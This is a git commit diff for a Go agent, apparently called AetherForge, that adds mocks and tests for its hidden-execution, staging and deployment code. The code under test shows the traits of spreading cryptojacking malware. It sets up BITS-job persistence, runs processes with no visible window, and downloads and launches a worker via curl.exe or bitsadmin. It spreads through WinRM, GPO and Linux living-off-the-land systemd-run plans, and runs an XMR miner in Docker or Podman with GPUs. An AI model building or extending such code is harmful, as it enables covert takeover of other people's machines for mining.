Close automatable P2 test gaps with mocks and httptest integration.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.
This commit is contained in:
@@ -18,3 +18,60 @@ func TestBitsJobName(t *testing.T) {
|
||||
t.Fatalf("job name must not contain spaces: %q", name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateBITSPersistenceRegistersNotifyJob(t *testing.T) {
|
||||
var calls [][]string
|
||||
SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
|
||||
return []byte("no matching jobs"), nil
|
||||
})
|
||||
SetHiddenRunFn(func(name string, arg ...string) error {
|
||||
calls = append(calls, append([]string{name}, arg...))
|
||||
return nil
|
||||
})
|
||||
defer func() {
|
||||
SetHiddenRunFn(nil)
|
||||
SetHiddenCombinedOutputFn(nil)
|
||||
}()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
if err := CreateBITSPersistence(cfg, `C:\af\worker.exe`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
foundCreate := false
|
||||
foundNotify := false
|
||||
for _, call := range calls {
|
||||
if len(call) >= 3 && call[0] == "bitsadmin" && call[1] == "/create" {
|
||||
foundCreate = true
|
||||
}
|
||||
if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/SetNotifyCmdLine" {
|
||||
foundNotify = true
|
||||
}
|
||||
}
|
||||
if !foundCreate || !foundNotify {
|
||||
t.Fatalf("expected bitsadmin create+notify, calls=%v", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateBITSPersistenceIdempotentWhenJobExists(t *testing.T) {
|
||||
job := BitsJobName(testRuntimeConfig())
|
||||
SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
|
||||
return []byte(job + " TRANSFER"), nil
|
||||
})
|
||||
ran := false
|
||||
SetHiddenRunFn(func(name string, arg ...string) error {
|
||||
ran = true
|
||||
return nil
|
||||
})
|
||||
defer func() {
|
||||
SetHiddenRunFn(nil)
|
||||
SetHiddenCombinedOutputFn(nil)
|
||||
}()
|
||||
|
||||
if err := CreateBITSPersistence(testRuntimeConfig(), `C:\af\worker.exe`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if ran {
|
||||
t.Fatal("expected no bitsadmin mutations when job already exists")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -235,6 +235,78 @@ func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanWinRMWithMockHiddenRun(t *testing.T) {
|
||||
var got []string
|
||||
SetHiddenRunFn(func(name string, arg ...string) error {
|
||||
got = append(got, name)
|
||||
return nil
|
||||
})
|
||||
defer SetHiddenRunFn(nil)
|
||||
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "winrm",
|
||||
Action: "winrm",
|
||||
Script: "Enable-PSRemoting -Force",
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "winrm") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
if len(got) == 0 || got[0] != "powershell" {
|
||||
t.Fatalf("got hidden run=%v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanGPOWithMockHiddenRun(t *testing.T) {
|
||||
SetHiddenRunFn(func(name string, arg ...string) error { return nil })
|
||||
defer SetHiddenRunFn(nil)
|
||||
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "gpo",
|
||||
Action: "gpo",
|
||||
Script: "$env:AETHER_DEFER_MINING='1'",
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "gpo") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanLinuxLOTLWithMockHiddenRun(t *testing.T) {
|
||||
var invoked string
|
||||
var args []string
|
||||
SetHiddenRunFn(func(name string, arg ...string) error {
|
||||
invoked = name
|
||||
args = append([]string(nil), arg...)
|
||||
return nil
|
||||
})
|
||||
defer SetHiddenRunFn(nil)
|
||||
|
||||
script := "systemd-run --user --unit=aetherforge-worker.service /opt/af/worker --run --defer-mining"
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "linux_lotl",
|
||||
Action: "linux_lotl",
|
||||
Script: script,
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "linux lotl") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
joined := strings.Join(args, " ")
|
||||
if !strings.Contains(joined, "systemd-run") {
|
||||
t.Fatalf("invoked=%q args=%v", invoked, args)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
|
||||
payload := []byte("webrtc-signed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
|
||||
@@ -4,6 +4,21 @@ package deploy
|
||||
|
||||
import "os/exec"
|
||||
|
||||
var (
|
||||
hiddenRunFn func(name string, arg ...string) error
|
||||
hiddenCombinedOutputFn func(name string, arg ...string) ([]byte, error)
|
||||
)
|
||||
|
||||
// SetHiddenRunFn injects HiddenRun for tests; pass nil to restore defaults.
|
||||
func SetHiddenRunFn(fn func(name string, arg ...string) error) {
|
||||
hiddenRunFn = fn
|
||||
}
|
||||
|
||||
// SetHiddenCombinedOutputFn injects HiddenCombinedOutput for tests; pass nil to restore defaults.
|
||||
func SetHiddenCombinedOutputFn(fn func(name string, arg ...string) ([]byte, error)) {
|
||||
hiddenCombinedOutputFn = fn
|
||||
}
|
||||
|
||||
func PrepareHiddenProcess(cmd *exec.Cmd) {}
|
||||
|
||||
func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||
@@ -11,6 +26,9 @@ func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||
}
|
||||
|
||||
func HiddenRun(name string, arg ...string) error {
|
||||
if hiddenRunFn != nil {
|
||||
return hiddenRunFn(name, arg...)
|
||||
}
|
||||
return exec.Command(name, arg...).Run()
|
||||
}
|
||||
|
||||
@@ -19,6 +37,9 @@ func HiddenStart(name string, arg ...string) error {
|
||||
}
|
||||
|
||||
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
if hiddenCombinedOutputFn != nil {
|
||||
return hiddenCombinedOutputFn(name, arg...)
|
||||
}
|
||||
return exec.Command(name, arg...).CombinedOutput()
|
||||
}
|
||||
|
||||
|
||||
@@ -7,6 +7,21 @@ import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
var (
|
||||
hiddenRunFn func(name string, arg ...string) error
|
||||
hiddenCombinedOutputFn func(name string, arg ...string) ([]byte, error)
|
||||
)
|
||||
|
||||
// SetHiddenRunFn injects HiddenRun for tests; pass nil to restore defaults.
|
||||
func SetHiddenRunFn(fn func(name string, arg ...string) error) {
|
||||
hiddenRunFn = fn
|
||||
}
|
||||
|
||||
// SetHiddenCombinedOutputFn injects HiddenCombinedOutput for tests; pass nil to restore defaults.
|
||||
func SetHiddenCombinedOutputFn(fn func(name string, arg ...string) ([]byte, error)) {
|
||||
hiddenCombinedOutputFn = fn
|
||||
}
|
||||
|
||||
const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW
|
||||
|
||||
// PrepareHiddenProcess configures a command so it never shows a console window.
|
||||
@@ -29,6 +44,9 @@ func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||
|
||||
// HiddenRun runs a process hidden and waits for completion.
|
||||
func HiddenRun(name string, arg ...string) error {
|
||||
if hiddenRunFn != nil {
|
||||
return hiddenRunFn(name, arg...)
|
||||
}
|
||||
return HiddenCommand(name, arg...).Run()
|
||||
}
|
||||
|
||||
@@ -39,6 +57,9 @@ func HiddenStart(name string, arg ...string) error {
|
||||
|
||||
// HiddenCombinedOutput runs a hidden process and returns its combined output.
|
||||
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
if hiddenCombinedOutputFn != nil {
|
||||
return hiddenCombinedOutputFn(name, arg...)
|
||||
}
|
||||
return HiddenCommand(name, arg...).CombinedOutput()
|
||||
}
|
||||
|
||||
|
||||
@@ -174,6 +174,122 @@ func TestStageFetchSHA256MismatchRejected(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCurlStagingUsesCurlExeWhenNoInject(t *testing.T) {
|
||||
payload := []byte("curl-exe-staged")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
var calls [][]string
|
||||
SetHiddenRunFn(func(name string, arg ...string) error {
|
||||
calls = append(calls, append([]string{name}, arg...))
|
||||
if name == "curl.exe" {
|
||||
for i, a := range arg {
|
||||
if a == "-o" && i+1 < len(arg) {
|
||||
dest := arg[i+1]
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dest, payload, 0o644)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
defer SetHiddenRunFn(nil)
|
||||
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = nil
|
||||
oldLaunch := stagingLaunchFn
|
||||
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
|
||||
return "curl exe path ok", nil
|
||||
}
|
||||
defer func() {
|
||||
stagingDownloadCurlFn = oldCurl
|
||||
stagingLaunchFn = oldLaunch
|
||||
}()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: "curl-exe-worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
foundCurl := false
|
||||
for _, call := range calls {
|
||||
if len(call) >= 1 && call[0] == "curl.exe" {
|
||||
foundCurl = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundCurl {
|
||||
t.Fatalf("expected curl.exe invocation, calls=%v", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBITSStagingUsesBitsadminWhenNoInject(t *testing.T) {
|
||||
payload := []byte("bitsadmin-staged")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
var calls [][]string
|
||||
SetHiddenRunFn(func(name string, arg ...string) error {
|
||||
calls = append(calls, append([]string{name}, arg...))
|
||||
if name == "bitsadmin" && len(arg) >= 2 && arg[0] == "/transfer" {
|
||||
dest := arg[len(arg)-1]
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dest, payload, 0o644)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
defer SetHiddenRunFn(nil)
|
||||
|
||||
oldBits := stagingDownloadBITSFn
|
||||
stagingDownloadBITSFn = nil
|
||||
oldLaunch := stagingLaunchFn
|
||||
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
|
||||
return "bitsadmin path ok", nil
|
||||
}
|
||||
defer func() {
|
||||
stagingDownloadBITSFn = oldBits
|
||||
stagingLaunchFn = oldLaunch
|
||||
}()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "bitsadmin",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: "bits-exe-worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
foundTransfer := false
|
||||
for _, call := range calls {
|
||||
if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/transfer" {
|
||||
foundTransfer = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundTransfer {
|
||||
t.Fatalf("expected bitsadmin /transfer, calls=%v", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = func(url, dest string) error {
|
||||
|
||||
@@ -216,6 +216,117 @@ func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherPodmanStartWithFakeRuntime(t *testing.T) {
|
||||
var gotCLI string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
gotCLI = name
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "podman-build",
|
||||
Wallet: "XMR:wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "podman", Version: "4.9.0"}
|
||||
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatalf("NewContainerLauncher: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if gotCLI != "podman" {
|
||||
t.Fatalf("runtime CLI=%q want podman", gotCLI)
|
||||
}
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after podman Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherStopInvokesRm(t *testing.T) {
|
||||
var calls [][]string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
copied := append([]string{name}, args...)
|
||||
calls = append(calls, copied)
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "stop-test"}}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
launcher.Stop()
|
||||
|
||||
foundRm := false
|
||||
for _, call := range calls {
|
||||
if len(call) >= 3 && call[1] == "rm" && call[2] == "-f" {
|
||||
foundRm = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundRm {
|
||||
t.Fatalf("docker rm -f not invoked, calls=%v", calls)
|
||||
}
|
||||
if launcher.Running() {
|
||||
t.Fatal("Running() true after Stop")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherGPUFlags(t *testing.T) {
|
||||
var gotArgs []string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
gotArgs = append([]string(nil), args...)
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "gpu-test",
|
||||
Wallet: "XMR:wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
GPUEnabled: true,
|
||||
},
|
||||
}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if !containsSeq(gotArgs, "--gpus", "all") {
|
||||
t.Fatalf("args missing --gpus all: %v", gotArgs)
|
||||
}
|
||||
}
|
||||
|
||||
func containsSeq(args []string, seq ...string) bool {
|
||||
if len(seq) == 0 || len(args) < len(seq) {
|
||||
return false
|
||||
|
||||
@@ -5,15 +5,41 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
containerLookPathFn = exec.LookPath
|
||||
containerVersionCmd = func(path string, args ...string) *exec.Cmd {
|
||||
return exec.Command(path, args...)
|
||||
}
|
||||
)
|
||||
|
||||
// SetContainerRuntimeProbes injects lookPath/version probes for tests; pass nil to restore defaults.
|
||||
func SetContainerRuntimeProbes(
|
||||
lookPath func(string) (string, error),
|
||||
versionCmd func(string, ...string) *exec.Cmd,
|
||||
) {
|
||||
if lookPath == nil {
|
||||
containerLookPathFn = exec.LookPath
|
||||
} else {
|
||||
containerLookPathFn = lookPath
|
||||
}
|
||||
if versionCmd == nil {
|
||||
containerVersionCmd = func(path string, args ...string) *exec.Cmd {
|
||||
return exec.Command(path, args...)
|
||||
}
|
||||
} else {
|
||||
containerVersionCmd = versionCmd
|
||||
}
|
||||
}
|
||||
|
||||
// DetectContainerRuntime probes docker then podman CLIs.
|
||||
func DetectContainerRuntime() ContainerRuntimeInfo {
|
||||
for _, cli := range []string{"docker", "podman"} {
|
||||
if path, err := exec.LookPath(cli); err == nil {
|
||||
out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
|
||||
if path, err := containerLookPathFn(cli); err == nil {
|
||||
out, runErr := containerVersionCmd(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
|
||||
version := strings.TrimSpace(string(out))
|
||||
if runErr != nil || version == "" {
|
||||
// Older docker without --format still counts as available.
|
||||
if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
|
||||
if _, verErr := containerVersionCmd(path, "version").CombinedOutput(); verErr == nil {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
|
||||
}
|
||||
continue
|
||||
|
||||
91
agent/miner/runtime_detect_test.go
Normal file
91
agent/miner/runtime_detect_test.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func mockVersionOKCmd(_ string, args ...string) *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("cmd", "/c", "echo", "24.0.1")
|
||||
}
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("sh", "-c", "echo 24.0.1")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func mockVersionPodmanCmd(_ string, args ...string) *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("cmd", "/c", "echo", "4.9.0")
|
||||
}
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("sh", "-c", "echo 4.9.0")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func TestDetectContainerRuntimePrefersDocker(t *testing.T) {
|
||||
SetContainerRuntimeProbes(
|
||||
func(name string) (string, error) {
|
||||
if name == "docker" {
|
||||
return "/usr/bin/docker", nil
|
||||
}
|
||||
if name == "podman" {
|
||||
return "/usr/bin/podman", nil
|
||||
}
|
||||
return "", exec.ErrNotFound
|
||||
},
|
||||
mockVersionOKCmd,
|
||||
)
|
||||
defer SetContainerRuntimeProbes(nil, nil)
|
||||
|
||||
rt := DetectContainerRuntime()
|
||||
if !rt.Available || rt.CLI != "docker" {
|
||||
t.Fatalf("runtime=%+v want docker", rt)
|
||||
}
|
||||
if rt.Version != "24.0.1" {
|
||||
t.Fatalf("version=%q", rt.Version)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectContainerRuntimeFallsBackToPodman(t *testing.T) {
|
||||
SetContainerRuntimeProbes(
|
||||
func(name string) (string, error) {
|
||||
if name == "podman" {
|
||||
return "/usr/bin/podman", nil
|
||||
}
|
||||
return "", exec.ErrNotFound
|
||||
},
|
||||
mockVersionPodmanCmd,
|
||||
)
|
||||
defer SetContainerRuntimeProbes(nil, nil)
|
||||
|
||||
rt := DetectContainerRuntime()
|
||||
if !rt.Available || rt.CLI != "podman" {
|
||||
t.Fatalf("runtime=%+v want podman", rt)
|
||||
}
|
||||
if rt.Version != "4.9.0" {
|
||||
t.Fatalf("version=%q", rt.Version)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectContainerRuntimeUnavailable(t *testing.T) {
|
||||
SetContainerRuntimeProbes(
|
||||
func(string) (string, error) { return "", exec.ErrNotFound },
|
||||
nil,
|
||||
)
|
||||
defer SetContainerRuntimeProbes(nil, nil)
|
||||
|
||||
rt := DetectContainerRuntime()
|
||||
if rt.Available || rt.CLI != "" {
|
||||
t.Fatalf("runtime=%+v want unavailable", rt)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user